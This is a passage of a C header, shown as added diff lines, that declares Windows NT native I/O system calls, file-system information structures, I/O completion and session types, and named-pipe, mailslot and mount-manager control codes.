*PFILE_FS_DRIVER_PATH_INFORMATION; + +// private +typedef struct _FILE_FS_VOLUME_FLAGS_INFORMATION +{ + ULONG Flags; +} FILE_FS_VOLUME_FLAGS_INFORMATION, *PFILE_FS_VOLUME_FLAGS_INFORMATION; + +#define SSINFO_FLAGS_ALIGNED_DEVICE 0x00000001 +#define SSINFO_FLAGS_PARTITION_ALIGNED_ON_DEVICE 0x00000002 + +// If set for Sector and Partition fields, alignment is not known. +#define SSINFO_OFFSET_UNKNOWN 0xffffffff + +typedef struct _FILE_FS_SECTOR_SIZE_INFORMATION +{ + ULONG LogicalBytesPerSector; + ULONG PhysicalBytesPerSectorForAtomicity; + ULONG PhysicalBytesPerSectorForPerformance; + ULONG FileSystemEffectivePhysicalBytesPerSectorForAtomicity; + ULONG Flags; + ULONG ByteOffsetForSectorAlignment; + ULONG ByteOffsetForPartitionAlignment; +} FILE_FS_SECTOR_SIZE_INFORMATION, *PFILE_FS_SECTOR_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_DATA_COPY_INFORMATION +{ + ULONG NumberOfCopies; +} FILE_FS_DATA_COPY_INFORMATION, *PFILE_FS_DATA_COPY_INFORMATION; + +// private +typedef struct _FILE_FS_METADATA_SIZE_INFORMATION +{ + LARGE_INTEGER TotalMetadataAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_METADATA_SIZE_INFORMATION, *PFILE_FS_METADATA_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_FULL_SIZE_INFORMATION_EX +{ + ULONGLONG ActualTotalAllocationUnits; + ULONGLONG ActualAvailableAllocationUnits; + ULONGLONG ActualPoolUnavailableAllocationUnits; + ULONGLONG CallerTotalAllocationUnits; + ULONGLONG CallerAvailableAllocationUnits; + ULONGLONG CallerPoolUnavailableAllocationUnits; + ULONGLONG UsedAllocationUnits; + ULONGLONG TotalReservedAllocationUnits; + ULONGLONG VolumeStorageReserveAllocationUnits; + ULONGLONG AvailableCommittedAllocationUnits; + ULONGLONG PoolAvailableAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_FULL_SIZE_INFORMATION_EX, *PFILE_FS_FULL_SIZE_INFORMATION_EX; + +// System calls + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateNamedPipeFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_opt_ PLARGE_INTEGER DefaultTimeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +#define FLUSH_FLAGS_FILE_DATA_ONLY 0x00000001 +#define FLUSH_FLAGS_NO_SYNC 0x00000002 +#define FLUSH_FLAGS_FILE_DATA_SYNC_ONLY 0x00000004 // REDSTONE1 + +#if (PHNT_VERSION >= PHNT_WIN8) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushBuffersFileEx( + _In_ HANDLE FileHandle, + _In_ ULONG Flags, + _In_reads_bytes_(ParametersSize) PVOID Parameters, + _In_ ULONG ParametersSize, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +#if (PHNT_VERSION >= PHNT_REDSTONE2) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationByName( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + +#if (PHNT_VERSION >= PHNT_REDSTONE3) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ ULONG QueryFlags, + _In_opt_ PUNICODE_STRING FileName + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_reads_bytes_opt_(SidListLength) PVOID SidList, + _In_ ULONG SidListLength, + _In_opt_ PSID StartSid, + _In_ BOOLEAN RestartScan + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetQuotaInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FSINFOCLASS FsInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID FsInformation, + _In_ ULONG Length, + _In_ FSINFOCLASS FsInformationClass + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelIoFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelIoFileEx( + _In_ HANDLE FileHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelSynchronousIoFile( + _In_ HANDLE ThreadHandle, + _In_opt_ PIO_STATUS_BLOCK IoRequestToCancel, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_reads_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadFileScatter( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteFileGather( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PFILE_SEGMENT_ELEMENT SegmentArray, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key, + _In_ BOOLEAN FailImmediately, + _In_ BOOLEAN ExclusiveLock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnlockFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PLARGE_INTEGER ByteOffset, + _In_ PLARGE_INTEGER Length, + _In_ ULONG Key + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_BASIC_INFORMATION FileInformation + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, // FILE_NOTIFY_INFORMATION + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree + ); + +// private +typedef enum _DIRECTORY_NOTIFY_INFORMATION_CLASS +{ + DirectoryNotifyInformation, // FILE_NOTIFY_INFORMATION + DirectoryNotifyExtendedInformation // FILE_NOTIFY_EXTENDED_INFORMATION +} DIRECTORY_NOTIFY_INFORMATION_CLASS, *PDIRECTORY_NOTIFY_INFORMATION_CLASS; + +#if (PHNT_VERSION >= PHNT_REDSTONE3) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFileEx( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _In_opt_ DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +// I/O completion port + +#ifndef IO_COMPLETION_QUERY_STATE +#define IO_COMPLETION_QUERY_STATE 0x0001 +#endif + +typedef enum _IO_COMPLETION_INFORMATION_CLASS +{ + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef struct _IO_COMPLETION_BASIC_INFORMATION +{ + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, *PIO_COMPLETION_BASIC_INFORMATION; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE IoCompletionPacketHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveIoCompletion( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID *KeyContext, + _Out_ PVOID *ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER Timeout + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _Out_writes_to_(Count, *NumEntriesRemoved) PFILE_IO_COMPLETION_INFORMATION IoCompletionInformation, + _In_ ULONG Count, + _Out_ PULONG NumEntriesRemoved, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ BOOLEAN Alertable + ); +#endif + +// Wait completion packet + +#if (PHNT_VERSION >= PHNT_WIN8) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWaitCompletionPacket( + _Out_ PHANDLE WaitCompletionPacketHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAssociateWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE TargetObjectHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation, + _Out_opt_ PBOOLEAN AlreadySignaled + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelWaitCompletionPacket( + _In_ HANDLE WaitCompletionPacketHandle, + _In_ BOOLEAN RemoveSignaledPacket + ); + +#endif + +// Sessions + +typedef enum _IO_SESSION_EVENT +{ + IoSessionEventIgnore, + IoSessionEventCreated, + IoSessionEventTerminated, + IoSessionEventConnected, + IoSessionEventDisconnected, + IoSessionEventLogon, + IoSessionEventLogoff, + IoSessionEventMax +} IO_SESSION_EVENT; + +typedef enum _IO_SESSION_STATE +{ + IoSessionStateCreated, + IoSessionStateInitialized, + IoSessionStateConnected, + IoSessionStateDisconnected, + IoSessionStateDisconnectedLoggedOn, + IoSessionStateLoggedOn, + IoSessionStateLoggedOff, + IoSessionStateTerminated, + IoSessionStateMax +} IO_SESSION_STATE; + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeSession( + _In_ HANDLE SessionHandle, + _In_ ULONG ChangeSequenceNumber, + _In_ PLARGE_INTEGER ChangeTimeStamp, + _In_ IO_SESSION_EVENT Event, + _In_ IO_SESSION_STATE NewState, + _In_ IO_SESSION_STATE PreviousState, + _In_reads_bytes_opt_(PayloadSize) PVOID Payload, + _In_ ULONG PayloadSize + ); +#endif + +// Other types + +typedef enum _INTERFACE_TYPE +{ + InterfaceTypeUndefined = -1, + Internal, + Isa, + Eisa, + MicroChannel, + TurboChannel, + PCIBus, + VMEBus, + NuBus, + PCMCIABus, + CBus, + MPIBus, + MPSABus, + ProcessorInternal, + InternalPowerBus, + PNPISABus, + PNPBus, + Vmcs, + MaximumInterfaceType +} INTERFACE_TYPE, *PINTERFACE_TYPE; + +typedef enum _DMA_WIDTH +{ + Width8Bits, + Width16Bits, + Width32Bits, + MaximumDmaWidth +} DMA_WIDTH, *PDMA_WIDTH; + +typedef enum _DMA_SPEED +{ + Compatible, + TypeA, + TypeB, + TypeC, + TypeF, + MaximumDmaSpeed +} DMA_SPEED, *PDMA_SPEED; + +typedef enum _BUS_DATA_TYPE +{ + ConfigurationSpaceUndefined = -1, + Cmos, + EisaConfiguration, + Pos, + CbusConfiguration, + PCIConfiguration, + VMEConfiguration, + NuBusConfiguration, + PCMCIAConfiguration, + MPIConfiguration, + MPSAConfiguration, + PNPISAConfiguration, + SgiInternalConfiguration, + MaximumBusDataType +} BUS_DATA_TYPE, *PBUS_DATA_TYPE; + +// Control structures + +// Reparse structure for FSCTL_SET_REPARSE_POINT, FSCTL_GET_REPARSE_POINT, FSCTL_DELETE_REPARSE_POINT + +#define SYMLINK_FLAG_RELATIVE 1 + +typedef struct _REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union + { + struct + { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct + { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct + { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + }; +} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER; + +// Named pipe FS control definitions + +#define DEVICE_NAMED_PIPE L"\\Device\\NamedPipe\\" + +#define FSCTL_PIPE_ASSIGN_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_DISCONNECT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_LISTEN CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_PEEK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 3, METHOD_BUFFERED, FILE_READ_DATA) +#define FSCTL_PIPE_QUERY_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 5, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) +#define FSCTL_PIPE_WAIT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_QUERY_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 9, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_GET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 14, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_PIPE_FLUSH CTL_CODE(FILE_DEVICE_NAMED_PIPE, 16, METHOD_BUFFERED, FILE_WRITE_DATA) + +#define FSCTL_PIPE_INTERNAL_READ CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2045, METHOD_BUFFERED, FILE_READ_DATA) +#define FSCTL_PIPE_INTERNAL_WRITE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2046, METHOD_BUFFERED, FILE_WRITE_DATA) +#define FSCTL_PIPE_INTERNAL_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2047, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) +#define FSCTL_PIPE_INTERNAL_READ_OVFLOW CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2048, METHOD_BUFFERED, FILE_READ_DATA) + +// Flags for query event + +#define FILE_PIPE_READ_DATA 0x00000000 +#define FILE_PIPE_WRITE_SPACE 0x00000001 + +// Input for FSCTL_PIPE_ASSIGN_EVENT +typedef struct _FILE_PIPE_ASSIGN_EVENT_BUFFER +{ + HANDLE EventHandle; + ULONG KeyValue; +} FILE_PIPE_ASSIGN_EVENT_BUFFER, *PFILE_PIPE_ASSIGN_EVENT_BUFFER; + +// Output for FILE_PIPE_PEEK_BUFFER +typedef struct _FILE_PIPE_PEEK_BUFFER +{ + ULONG NamedPipeState; + ULONG ReadDataAvailable; + ULONG NumberOfMessages; + ULONG MessageLength; + CHAR Data[1]; +} FILE_PIPE_PEEK_BUFFER, *PFILE_PIPE_PEEK_BUFFER; + +// Output for FSCTL_PIPE_QUERY_EVENT +typedef struct _FILE_PIPE_EVENT_BUFFER +{ + ULONG NamedPipeState; + ULONG EntryType; + ULONG ByteCount; + ULONG KeyValue; + ULONG NumberRequests; +} FILE_PIPE_EVENT_BUFFER, *PFILE_PIPE_EVENT_BUFFER; + +// Input for FSCTL_PIPE_WAIT +typedef struct _FILE_PIPE_WAIT_FOR_BUFFER +{ + LARGE_INTEGER Timeout; + ULONG NameLength; + BOOLEAN TimeoutSpecified; + WCHAR Name[1]; +} FILE_PIPE_WAIT_FOR_BUFFER, *PFILE_PIPE_WAIT_FOR_BUFFER; + +// Input for FSCTL_PIPE_SET_CLIENT_PROCESS, Output for FSCTL_PIPE_QUERY_CLIENT_PROCESS +typedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER +{ +#if !defined(BUILD_WOW6432) + PVOID ClientSession; + PVOID ClientProcess; +#else + ULONGLONG ClientSession; + ULONGLONG ClientProcess; +#endif +} FILE_PIPE_CLIENT_PROCESS_BUFFER, *PFILE_PIPE_CLIENT_PROCESS_BUFFER; + +#define FILE_PIPE_COMPUTER_NAME_LENGTH 15 + +// Input for FSCTL_PIPE_SET_CLIENT_PROCESS, Output for FSCTL_PIPE_QUERY_CLIENT_PROCESS +typedef struct _FILE_PIPE_CLIENT_PROCESS_BUFFER_EX +{ +#if !defined(BUILD_WOW6432) + PVOID ClientSession; + PVOID ClientProcess; +#else + ULONGLONG ClientSession; + ULONGLONG ClientProcess; +#endif + USHORT ClientComputerNameLength; // in bytes + WCHAR ClientComputerBuffer[FILE_PIPE_COMPUTER_NAME_LENGTH + 1]; // null-terminated +} FILE_PIPE_CLIENT_PROCESS_BUFFER_EX, *PFILE_PIPE_CLIENT_PROCESS_BUFFER_EX; + +// Mailslot FS control definitions + +#define MAILSLOT_CLASS_FIRSTCLASS 1 +#define MAILSLOT_CLASS_SECONDCLASS 2 + +#define FSCTL_MAILSLOT_PEEK CTL_CODE(FILE_DEVICE_MAILSLOT, 0, METHOD_NEITHER, FILE_READ_DATA) + +// Output for FSCTL_MAILSLOT_PEEK +typedef struct _FILE_MAILSLOT_PEEK_BUFFER +{ + ULONG ReadDataAvailable; + ULONG NumberOfMessages; + ULONG MessageLength; +} FILE_MAILSLOT_PEEK_BUFFER, *PFILE_MAILSLOT_PEEK_BUFFER; + +// Mount manager FS control definitions + +#define MOUNTMGR_DEVICE_NAME L"\\Device\\MountPointManager" +#define MOUNTMGRCONTROLTYPE 0x0000006D // 'm' +#define MOUNTDEVCONTROLTYPE 0x0000004D // 'M' + +#define IOCTL_MOUNTMGR_CREATE_POINT CTL_CODE(MOUNTMGRCONTROLTYPE, 0, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_DELETE_POINTS CTL_CODE(MOUNTMGRCONTROLTYPE, 1, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_MOUNTMGR_QUERY_POINTS CTL_CODE(MOUNTMGRCONTROLTYPE, 2, METHOD_BUFFERED, 